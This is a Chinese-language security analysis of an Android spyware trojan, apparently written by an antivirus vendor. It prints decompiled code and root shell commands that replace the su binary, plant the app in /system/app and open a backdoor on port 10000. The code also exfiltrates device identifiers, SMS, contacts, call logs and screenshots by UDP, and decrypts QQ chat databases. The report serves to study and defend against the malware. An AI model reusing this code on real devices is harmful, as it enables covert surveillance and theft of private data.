一、木马介绍:
该木马具有很高的欺骗和隐藏性,在首次运行时并不会暴露自身身份,会通过打包udp数据包,将手机基本信息发送到指定的地址:www.baidu.com 端口: 8000,造成分析者困惑,以及欺骗沙箱。当经历过查杀期后,木马通过连接自己建立的后门,修改udp发送目的地,以及设置一些flag,来偷取用户的qq聊天记录,微信语音聊天记录,中码者的活动地址,短信收发信息,联系人信息等等。目前该木马还通过跟换包名,签名证书方式逃避杀软。但360手机卫士可全面查杀任何变种。
二、**详细分析:**
1.对AndroidManifest.xml文件分析
发现该app使用了大量危险权限,并对短信,系统启动,网络变化都进行监听。
<--!入口一主Activity-->
<activity android:label="@string/app_name" android:name="nitm.jescxys.robqbo.AndroidserviceActivity" android:theme="@android:style/Theme.NoDisplay">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.INFO" />
</intent-filter>
</activity>
<--!入口二系统系统广播监听-->
<receiver android:name="nitm.jescxys.robqbo.TimerReceiver">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED" />
<category android:name="android.intent.category.HOME" />
</intent-filter>
</receiver>
<--!入口三短信包广播监听-->
<receiver android:name="nitm.jescxys.robqbo.AutoSMS">
<intent-filter android:priority="1000">
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
</intent-filter>
</receiver>
<--!入口四网路变化监听-->
<receiver android:name="nitm.jescxys.robqbo.NetWorkMonitor">
<intent-filter>
<action android:name="android.net.conn.CONNECTIVITY_CHANGE" />
</intent-filter>
</receiver>
<service android:name="TimerService" />
2.**首先从主Activity入口分析:**
- 启动TimerService服务
- 捆绑安装assets目录下的pingAnAccident3.0.apk文件(分析发现assets目录下并没有pingAnAccident3.0.apk文件)
3.**转入TimerService服务:**public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); this.setContentView(2130903040); this.startService(new Intent(((Context)this), TimerService.class)); RetrieveApk retrieveApk = new RetrieveApk(); // 捆绑安装assets目录下的pingAnAccident3.0.apk if(!retrieveApk.MoveApk(((Context)this))) { this.finish(); } else { retrieveApk.InstallPacket(); } }
TimerSerivce服务是此木马核心代码
- 获取中码手机信息,如:设备ID,电话号码,imei号,注册的网络运营商等信息。
- 配置木马的恶意行为,包括建立UDP对象,初始化连接ip,端口; 初始化手机位置信息对象,监听电话对象,手机截屏对象,手机qq信息记录对象,文件管理对象,短信监控对象
- 运行命令接收线程控制手机,运行录音线程,初始化屏幕解锁与锁定recevier,以控制手机Gps状态。
- 替换手机su文件,并拷贝木马准备的cp,screenhelper文件(也就是只能对root过后的手机下黑手),将获取到的手机号码,imsi,imei,等打包成udp数据包发送到指定站点
- 建立后门.端口10000,黑客通过连接后门传送自己定义的指令,来控制手机,偷取信息
- 时间任务器没30秒偷取手机设备信息,qq聊天信息,系统安装程序包,联系人,短信信息,通话记录,屏幕截图,中码者位置等等
替换手机su文件:public void onCreate() { this.m_3gp = new config3g(); this.m_wificonfig = new configwifi(); this.GetConfig(); // m_strip 配置(“www.baidu.com”) this.GetVersion(); // 读取Assest目录下的,version.txt获取当前木马版本 this.telephonyMgr = ((TelephonyManager)getSystemService("phone")); this.contentresolver = getContentResolver(); this.m_Imei = this.telephonyMgr.getDeviceId(); if (this.m_Imei == null) this.m_Imei = getDeviceId(); this.m_Imsi = this.telephonyMgr.getSubscriberId(); if (this.m_Imsi == null) this.m_Imsi = ""; this.m_PhoneNum = this.telephonyMgr.getLine1Number(); if (this.m_PhoneNum == null) this.m_PhoneNum = ""; this.m_NetWorkName = this.telephonyMgr.getNetworkOperatorName(); this.udp = new UDP(); this.udp.Init(this.m_strip, Integer.valueOf(this.m_strport).intValue(), this.m_Imei); this.m_cont = getApplicationContext(); this.m_su = new SU(this.m_cont); this.m_su.BeginSu(); //替换手机su文件,为后面执行命令准备 if (this.sp.getLong("systemlog", 0L) == 0L) { String str2 = getPackageName(); RootCmd("mount -o rw,remount /system\ncp /data/app/" + str2 + "*.apk /system/app/" + str2 + "-1.apk\nchmod 777 /system/app/" + str2 + "*.apk"); //将木马拷贝到系统app目录下,伪装自己为系统核心软件 this.editor.putLong("systemlog", 1L); } this.gsmLocation = new GsmLocation(); this.gsmLocation.Init(this.telephonyMgr, this.udp, this); this.audio = new Audio(); this.audio.Init(this.udp, this.telephonyMgr, this); this.screen = new Screen(); AssetManager localAssetManager = getAssets(); this.screen.Init(this.udp, this, localAssetManager); this.m_oldfile = new SendOldFile(); this.m_oldfile.Init(this, this.udp); this.mqq = new mobiqq(); if (this.m_Imei != null) this.mqq.Init(this.m_cont, this.m_Imei, this.udp, this, localAssetManager); this.CreateEnviromentAudioPath(); // 在存储卡上创建.tmp/environmentaudioaudio目录 并由this.m_envoromentaudiopath字段保存 this.file = new FileManage(); this.file.Init(this.udp, this); this.filetrans = new FileTrans(); this.filetrans.Init(this.udp, this); this.sms = new Sms(); this.sms.Init(this.udp, this.contentresolver, this); this.cmdThread = new RecvThread(this); this.cmdThread.start(); //建立命令接收线程,控制手机 this.enaudioThread = new environmentaudio(this, this.udp); this.enaudioThread.start(); if (this.m_screenreceiver == null) { this.m_screenreceiver = new ScreenActionReceiver(); this.m_screenreceiver.Init(this.m_cont, this); IntentFilter localIntentFilter = new IntentFilter(); localIntentFilter.addAction("com.emple.teacher.ACTION"); registerReceiver(this.m_screenreceiver, localIntentFilter); this.m_screenreceiver.registerScreenActionReceiver(this.m_cont); } if (Environment.getExternalStorageState().equals("mounted")) this.m_srcardpath = Environment.getExternalStorageDirectory().getPath(); servertrans.SetInstance(this); this.m_phonename = (Build.MODEL + "," + Build.VERSION.SDK + "," + Build.VERSION.RELEASE); Object[] arrayOfObject = new Object[7]; arrayOfObject[0] = this.m_PhoneNum; arrayOfObject[1] = this.m_Imsi; arrayOfObject[2] = this.m_Imei; arrayOfObject[3] = this.m_phonename; arrayOfObject[4] = Integer.valueOf(this.m_oldfile.m_delefefile / 3600); arrayOfObject[5] = this.m_version; arrayOfObject[6] = this.m_strip; String str1 = String.format("HEART\n%s\n%s\n%s\n%s\n%d\n%s\n%s", arrayOfObject); this.udp.SendData(str1); //发送当前中码手机信息 DirTheard localDirTheard = new DirTheard(this.udp, this); Thread localThread = new Thread(localDirTheard); localThread.start(); this.m_cmdThread = new TcpServer(this); //建立后门 if (this.m_cmdThread != null) this.m_cmdThread.start(); this.mTimer = new Timer(); //建立时间任务,偷取中码手机短信,qq聊天记录,位置,通话记录,手机当前运行包,手机联系人信息等等 this.mTimerTask = new TimerTask() { public void run() { if (TimerService.this.checkWIFI()) { if (TimerService.this.needsendother()) { if (TimerService.this.m_wificonfig.m_sysinfor) //木马通过tcp连接设置字段,以控制读取手机云心包信息,手机qq聊天记录等 TimerService.this.GetSysInfo(); if (TimerService.this.m_wificonfig.m_packet) TimerService.this.getPackets(); } if (TimerService.this.m_wificonfig.m_contact) TimerService.this.GetContents(false); if (TimerService.this.m_wificonfig.m_msm) TimerService.this.sms.getSmsInPhone(false); if (TimerService.this.m_wificonfig.m_histallCall) TimerService.this.GetHistoryCall(false); if (TimerService.this.m_wificonfig.m_sceen) TimerService.this.screen.shot(); if (TimerService.this.m_wificonfig.m_qq) TimerService.this.mqq.GetAllInfor();//获取qq聊天信息 if (TimerService.this.m_wificonfig.m_sendoldaudio) TimerService.this.m_oldfile.CheckOldData(); if (TimerService.this.m_wificonfig.m_gsm) TimerService.this.gsmLocation.GetGsmLocation(false);//获取中码这位置 } while ((!TimerService.this.m_wificonfig.m_gsm) && (!TimerService.this.m_3gp.m_gsm)); TimerService.this.gsmLocation.SaveLocation(); } }; this.mTimer.schedule(this.mTimerTask, 5000L, 30000); }
查看Assets文件夹,发现config中是三个elf文件。su用作root, cp用于拷贝文件,screenhelper用于屏幕截屏。
调用BeginSu函数
public void BeginSu() {
this.ReleaseConfig();
String packageName = "/data/data/" + this.m_cont.getApplicationContext().getPackageName() +
File.separator;
String screenhelperStr = String.valueOf(packageName) + "screenhelper";
String cpStr = String.valueOf(packageName) + "cp";
String suStr = String.valueOf(packageName) + "su";
ArrayList SuShellPath = SU.findSuShellBin("su");
SuShellPath.add("/system/bin/su");
int i;
for(i = 0; i < SuShellPath.size(); ++i) {
this.CoverSu(SuShellPath.get(i), suStr); // 覆盖原有系统中的su文件为病毒su
}
if(SU.findSuShellBin("cp").size() == 0) {
this.CoverData(cpStr, "/system/bin/cp"); // 拷贝病毒cp文件,进入系统目录,已准备后面的命令执行
}
if(SU.findSuShellBin("screenhelper").size() == 0) {
this.CoverData(screenhelperStr, "/system/bin/screenhelper"); // 拷贝病毒cp文件,进入系统目录,已准备后面的命令执行
}
}
CoverSu函数覆盖原有的su文件
public void CoverSu(String oldsu, String mysu) {
File trojanSuPath = new File(mysu);
if((trojanSuPath.exists()) && trojanSuPath.length() != new File(oldsu).length()) {
//execRootCmd函数 先调用Runtime.getRuntime().exec("su");木马获取root权限,然后执行出入的参数命令
SU.execRootCmd("mount -o remount rw /system\n rm " + oldsu + "\n " + "cat " + mysu + " >"
+ oldsu + "\n chmod 6755 " + oldsu);
}
}
将木马伪装成系统应用
this.RootCmd("mount -o rw,remount /system\ncp /data/app/" + v15 + "*.apk /system/app/" +v15 + "-1.apk\nchmod 777 /system/app/" + v15 + "*.apk");
接下来在SD卡下建立文件记录手机位置,通话,录音,手机截屏图
- 建立.tmp/.tmpgsm.data文件记录Gsm位置信息
- 建立.tmp/audio/time .tmp3gp文件对通话录音
- 建立.tmp/screen/time.png截屏图片.
- 建立.tmp/environmentaudioaudio文件
- 建立.tmp/mobiqq/databases/文件
RecvThread线程,通过udp传输命令,完成以下控制
- “getfile”命令 会获取微信的聊天记录包括音频,图片文件;
- “sysinfo”命令获取当前手机系统信息包括设备Mac,电话号码,连接网络名等;
- “gsmLocation”获取中码人当前活动位置;
- “getpackets”命令获取手机安装的程序;
- “contact”获取手机中联系人信息;
- “historycall”获取手机通话记录;
- “getsms”获取手机短信息;
- “setremoteip”设置远程ip,”queryremoteip”查询远程ip,也就是通过tcp连接来设置和查询m_strip字段,该字段是udp数据发送包的目的地址;
- “getmobileqq”获取手机;
- “uninstall”卸载自身;
- “environmentaudio”手机录音控制;
- “SendMsg”获取短信箱内容,并发送到指定号码等等
下图我们可以了解到,起初木马将获取的手机号,Imsi,imei号等打包成udp数据包发送到www.baidu.com 端口:8000去,咦怎么是百度,还以为是木马首先污染了dns隐射表,可是查看host并没有异常情况。通过上面的分析发现在建立的RecvThread线程中,通过获取“setremoteip”命令,设置m_strip字段,这样随时远程修改ip地址,增加查杀和分析难度。
接下来木马在中马手机中装上后门,同样通过远程连接控制手机
this.m_cmdThread = new TcpServer(this);
if(this.m_cmdThread != null) {
this.m_cmdThread.start();
}
public void run() {
try {
label_1:
Boolean bRet = Boolean.valueOf(false);
Log.v("zfw", "server port 10000");
ServerSocket serverSocket = new ServerSocket(10000, 100);
label_8:
if(bRet.booleanValue()) {
goto label_10;
}
Log.v("zfw", "accept loop");
Socket socket = serverSocket.accept();
Log.v("zfw", "new socket");
new TCPCLIENT(socket, this.m_Service);
goto label_8
}
}
建立时间任务器,每隔30秒执行一次,木马作者通过设置一系列的flag,来控制当前需要获取的哪些信息,并且只在wifi网络环境下偷取数据
this.mTimer = new Timer();
this.mTimerTask = new TimerTask() {
public void run() {
TimerService.this.udp.SendData(String.format("HEART\n%s\n%s\n%s\n%s\n%d\n%s\n%s", TimerService
.this.m_PhoneNum, TimerService.this.m_Imsi, TimerService.this.m_Imei, TimerService
.this.m_phonename, Integer.valueOf(TimerService.this.m_oldfile.m_delefefile /
3600), TimerService.this.m_version, TimerService.this.m_strip));
if(TimerService.this.checkWIFI()) {//只在wifi环境下偷取数据
if(TimerService.this.m_wificonfig.m_contact) { //获取联系人flag
TimerService.this.GetContents(false);
}
if(TimerService.this.m_wificonfig.m_histallCall) {获取通话记录flag
TimerService.this.GetHistoryCall(false);
}
if(TimerService.this.m_wificonfig.m_sceen) {屏幕截屏flag
TimerService.this.screen.shot();
}
if(TimerService.this.m_wificonfig.m_qq) { 获取qq聊天记录,好友,所加群信息的flag
TimerService.this.mqq.GetAllInfor();
}
/////////////////////////////////等等///////////////////////////////////////////////////////////////////////////////////////////////
}
}
}
}
调用GetAllInfor()获取qq聊天记录,好友等信息
public void GetAllInfor() {
if(this.m_initok) {
this.m_dblist = this.MoveDbFile(); // 获取qqNum.db列表
int i;
for(i = 0; i < this.m_dblist.size(); ++i) {
Object fileObj = this.m_dblist.get(i);
String qqNum = new File(((String)fileObj)).getName();
int pos = qqNum.lastIndexOf(46);
if(pos > 0) {
qqNum = qqNum.substring(0, pos);
DBmqq dbmqq = new DBmqq(this.m_cont, ((String)fileObj));
this.Getchat(((String)fileObj), dbmqq, qqNum); // 获取此qq号码聊天信息
this.GetGroups(dbmqq, qqNum); // 获取此qq号码加的群
this.GetFriends(dbmqq, qqNum); // 获取此qq号码好友
}
}
}
}
MoveDbFile函数获取手机中qq号码列表(可能手机中登录过多个qq号),最终调用GetChat,GetGroups,GetFriends获取qq聊天信息,好友等信息
public void Getchat(String dbfullname, DBmqq qqdb, String loginqqid) {
List tableName = qqdb.getTablename();
int i;
for(i = 0; i < tableName.size(); ++i) {
Object objName = tableName.get(i);
if(((String)objName).contains("mr_friend_")) {
this.GetQQchat(((String)objName), qqdb, loginqqid, false);
}
else if(((String)objName).contains("mr_troop_")) {
this.GetQQchat(((String)objName), qqdb, loginqqid, true);
}
}
}
解密QQ加密字符串,key为15位的手机串号字符串,以下是解密函数。
//lpIn-输入加密的数据流 从sqlite中getblob得到
//nLen-输入缓冲区的长度
//key-为手机imei号
//flg-手机qq是否为新版本
public String DecrptMobileQQMsg(byte[] lpIn, int nLen, byte[] lpKey, boolean flg) { // flg=true时解密老版QQ
int keyLen = lpKey.length;
String strRet = new String("");
if(nLen > 0) {
byte[] decrptData = new byte[nLen * 2 + 2];
int j = 0;
int i;
for(i = 0; j < nLen; ++i) {
if(flg) {
int num = lpIn[j];
if(num < 0) {
num = lpIn[j] & 255;
}
if(num < 128) {
goto label_41;
}
if(j + 2 >= nLen) {
break;
}
decrptData[j] = lpIn[j];
decrptData[j + 1] = lpIn[j + 1];
j += 2;
}
label_41:
if(j >= nLen) {
break;
}
decrptData[j] = ((byte)(lpIn[j] ^ lpKey[i % keyLen]));
++j;
}
..........................................................................................
以下是木马记录的一些信息
通话录音:
屏幕截屏:
三、总结:
该木马属于远控潜伏者,通过判断中码者手机情况(是否装有杀软等),来远程执行命令操控手机,最终偷取用户大量隐私,手机用户在下载手机应用最好到360手机助手等安全可靠的应市场或者官方网站下载,同时安装360手机卫士,全面查杀此木马的各种变种。
Comments